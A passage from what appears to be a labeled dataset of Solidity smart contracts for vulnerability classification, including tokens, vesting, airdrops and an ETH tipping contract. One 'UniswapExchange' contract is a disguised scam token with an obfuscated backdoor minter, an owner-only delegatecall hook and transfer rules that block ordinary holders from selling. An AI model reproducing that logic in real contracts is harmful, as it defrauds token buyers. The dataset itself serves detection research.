returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract BaseToken is DetailedERC20, CappedToken, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{}
}
contract GastroAdvisorToken is BaseToken {
uint256 public lockedUntil;
mapping(address => uint256) lockedBalances;
string constant ROLE_OPERATOR = "operator";
modifier canTransfer(address _from, uint256 _value) {
require(mintingFinished || hasRole(_from, ROLE_OPERATOR));
require(_value <= balances[_from].sub(lockedBalanceOf(_from)));
_;
}
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap,
uint256 _lockedUntil
)
BaseToken(_name, _symbol, _decimals, _cap)
public
{
lockedUntil = _lockedUntil;
addMinter(owner);
addOperator(owner);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function lockedBalanceOf(address _who) public view returns (uint256) {
return block.timestamp <= lockedUntil ? lockedBalances[_who] : 0;
}
function mintAndLock(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
lockedBalances[_to] = lockedBalances[_to].add(_amount);
return super.mint(_to, _amount);
}
function addOperator(address _operator) public onlyOwner {
require(!mintingFinished);
addRole(_operator, ROLE_OPERATOR);
}
function addOperators(address[] _operators) public onlyOwner {
require(!mintingFinished);
require(_operators.length > 0);
for (uint i = 0; i < _operators.length; i++) {
addRole(_operators[i], ROLE_OPERATOR);
}
}
function removeOperator(address _operator) public onlyOwner {
removeRole(_operator, ROLE_OPERATOR);
}
function addMinters(address[] _minters) public onlyOwner {
require(_minters.length > 0);
for (uint i = 0; i < _minters.length; i++) {
addRole(_minters[i], ROLE_MINTER);
}
}
}
contract CappedBountyMinter is TokenRecover {
using SafeMath for uint256;
ERC20 public token;
uint256 public cap;
uint256 public totalGivenBountyTokens;
mapping (address => uint256) public givenBountyTokens;
uint256 decimals = 18;
constructor(ERC20 _token, uint256 _cap) public {
require(_token != address(0));
require(_cap > 0);
token = _token;
cap = _cap * (10 ** decimals);
}
function multiSend(
address[] _addresses,
uint256[] _amounts
)
public
onlyOwner
{
require(_addresses.length > 0);
require(_amounts.length > 0);
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {
address to = _addresses[i];
uint256 value = _amounts[i] * (10 ** decimals);
givenBountyTokens[to] = givenBountyTokens[to].add(value);
totalGivenBountyTokens = totalGivenBountyTokens.add(value);
require(totalGivenBountyTokens <= cap);
require(GastroAdvisorToken(address(token)).mintAndLock(to, value));
}
}
function remainingTokens() public view returns(uint256) {
return cap.sub(totalGivenBountyTokens);
}
} | 1 | 4,394 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EthTweetMe is Ownable {
using SafeMath for uint256;
mapping(string => address) tokens;
address webappAddress;
address feePayoutAddress;
uint256 public feePercentage = 5;
uint256 public minAmount = 0.000001 ether;
uint256 public webappMinBalance = 0.000001 ether;
struct Influencer {
address influencerAddress;
uint256 charityPercentage;
address charityAddress;
}
mapping(string => Influencer) influencers;
event InfluencerAdded(string _influencerTwitterHandle);
event FeePercentageUpdated(uint256 _feePercentage);
event Deposit(address _address, uint256 _amount);
modifier onlyWebappOrOwner() {
require(msg.sender == webappAddress || msg.sender == owner);
_;
}
constructor() public {
webappAddress = msg.sender;
feePayoutAddress = msg.sender;
}
function() external payable {
emit Deposit(msg.sender, msg.value);
}
function updateFeePercentage(uint256 _feePercentage) external onlyWebappOrOwner {
require(_feePercentage <= 100);
feePercentage = _feePercentage;
emit FeePercentageUpdated(feePercentage);
}
function updateMinAmount(uint256 _minAmount) external onlyWebappOrOwner {
minAmount = _minAmount;
}
function updateWebappMinBalance(uint256 _minBalance) external onlyWebappOrOwner {
webappMinBalance = _minBalance;
}
function updateWebappAddress(address _address) external onlyOwner {
webappAddress = _address;
}
function updateFeePayoutAddress(address _address) external onlyOwner {
feePayoutAddress = _address;
}
function updateInfluencer(
string _twitterHandle,
address _influencerAddress,
uint256 _charityPercentage,
address _charityAddress) external onlyWebappOrOwner {
require(_charityPercentage <= 100);
require((_charityPercentage == 0 && _charityAddress == 0x0) || (_charityPercentage > 0 && _charityAddress != 0x0));
if (influencers[_twitterHandle].influencerAddress == 0x0) {
emit InfluencerAdded(_twitterHandle);
}
influencers[_twitterHandle] = Influencer(_influencerAddress, _charityPercentage, _charityAddress);
}
function sendEthTweet(uint256 _amount, bool _isERC20, string _symbol, bool _payFromMsg, string _influencerTwitterHandle, uint256 _additionalFee) private {
require(
(!_isERC20 && _payFromMsg && msg.value == _amount) ||
(!_isERC20 && !_payFromMsg && _amount <= address(this).balance) ||
_isERC20
);
require(_additionalFee == 0 || _amount > _additionalFee);
ERC20Basic erc20;
if (_isERC20) {
require(tokens[_symbol] != 0x0);
erc20 = ERC20Basic(tokens[_symbol]);
require(erc20.balanceOf(address(this)) >= _amount);
}
Influencer memory influencer = influencers[_influencerTwitterHandle];
require(influencer.influencerAddress != 0x0);
uint256[] memory payouts = new uint256[](4);
uint256 hundred = 100;
if (_additionalFee > 0) {
payouts[3] = _additionalFee;
_amount = _amount.sub(_additionalFee);
}
if (influencer.charityPercentage == 0) {
payouts[0] = _amount.mul(hundred.sub(feePercentage)).div(hundred);
payouts[2] = _amount.sub(payouts[0]);
} else {
payouts[1] = _amount.mul(influencer.charityPercentage).div(hundred);
payouts[0] = _amount.sub(payouts[1]).mul(hundred.sub(feePercentage)).div(hundred);
payouts[2] = _amount.sub(payouts[1]).sub(payouts[0]);
}
require(payouts[0].add(payouts[1]).add(payouts[2]) == _amount);
if (payouts[0] > 0) {
if (!_isERC20) {
influencer.influencerAddress.transfer(payouts[0]);
} else {
erc20.transfer(influencer.influencerAddress, payouts[0]);
}
}
if (payouts[1] > 0) {
if (!_isERC20) {
influencer.charityAddress.transfer(payouts[1]);
} else {
erc20.transfer(influencer.charityAddress, payouts[1]);
}
}
if (payouts[2] > 0) {
if (!_isERC20) {
if (webappAddress.balance < webappMinBalance) {
payouts[3] = payouts[3].add(payouts[2]);
} else {
feePayoutAddress.transfer(payouts[2]);
}
} else {
erc20.transfer(feePayoutAddress, payouts[2]);
}
}
if (payouts[3] > 0) {
if (!_isERC20) {
webappAddress.transfer(payouts[3]);
} else {
erc20.transfer(webappAddress, payouts[3]);
}
}
}
function sendEthTweet(string _influencerTwitterHandle) external payable {
sendEthTweet(msg.value, false, "ETH", true, _influencerTwitterHandle, 0);
}
function sendPrepaidEthTweet(uint256 _amount, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner {
sendEthTweet(_amount, false, "ETH", false, _influencerTwitterHandle, _additionalFee);
}
function addNewToken(string _symbol, address _address) external onlyWebappOrOwner {
tokens[_symbol] = _address;
}
function removeToken(string _symbol) external onlyWebappOrOwner {
require(tokens[_symbol] != 0x0);
delete(tokens[_symbol]);
}
function supportsToken(string _symbol, address _address) external constant returns (bool) {
return (tokens[_symbol] == _address);
}
function contractTokenBalance(string _symbol) external constant returns (uint256) {
require(tokens[_symbol] != 0x0);
ERC20Basic erc20 = ERC20Basic(tokens[_symbol]);
return erc20.balanceOf(address(this));
}
function sendERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle) external {
ERC20Basic erc20 = ERC20Basic(tokens[_symbol]);
require(erc20.transferFrom(msg.sender, address(this), _amount));
sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, 0);
}
function sendPrepaidERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner {
sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, _additionalFee);
}
function getInfluencer(string _twitterHandle) external constant returns(address, uint256, address) {
Influencer memory influencer = influencers[_twitterHandle];
return (influencer.influencerAddress, influencer.charityPercentage, influencer.charityAddress);
}
} | 0 | 591 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract CoinFiToken is StandardToken, Ownable {
string public constant name = "CoinFi";
string public constant symbol = "COFI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 300000000 * (10 ** uint256(decimals));
bool public transferEnabled = false;
address public airdropAddress;
modifier onlyWhenTransferEnabled() {
if (!transferEnabled) {
require(msg.sender == owner || msg.sender == airdropAddress);
}
_;
}
function CoinFiToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function enableTransfer() external onlyOwner {
transferEnabled = true;
}
function disableTransfer() external onlyOwner {
transferEnabled = false;
}
function setAirdropAddress(address _airdropAddress) external onlyOwner {
airdropAddress = _airdropAddress;
}
function transfer(address _to, uint256 _value) public onlyWhenTransferEnabled returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyWhenTransferEnabled returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract CoinFiAirdrop is Ownable {
uint256 public constant AIRDROP_AMOUNT = 500 * (10**18);
ERC20 public token;
function CoinFiAirdrop(ERC20 _token) public {
token = _token;
}
function sendAirdrop(address[] airdropRecipients, bool allowDuplicates) external onlyOwner {
require(airdropRecipients.length > 0);
for (uint i = 0; i < airdropRecipients.length; i++) {
if (token.balanceOf(airdropRecipients[i]) == 0 || allowDuplicates) {
token.transferFrom(owner, airdropRecipients[i], AIRDROP_AMOUNT);
}
}
}
} | 1 | 3,534 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,695 |
pragma solidity ^0.4.20;
contract PODD {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "PODD";
string public symbol = "PODD";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
address constant public devexit = 0x893623e39E9482a2Ce529384ED1A51315c105ba6;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function POWM()
public
{
administrators[0x0000000000000000000000000000000000000000000000000000000000000000] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
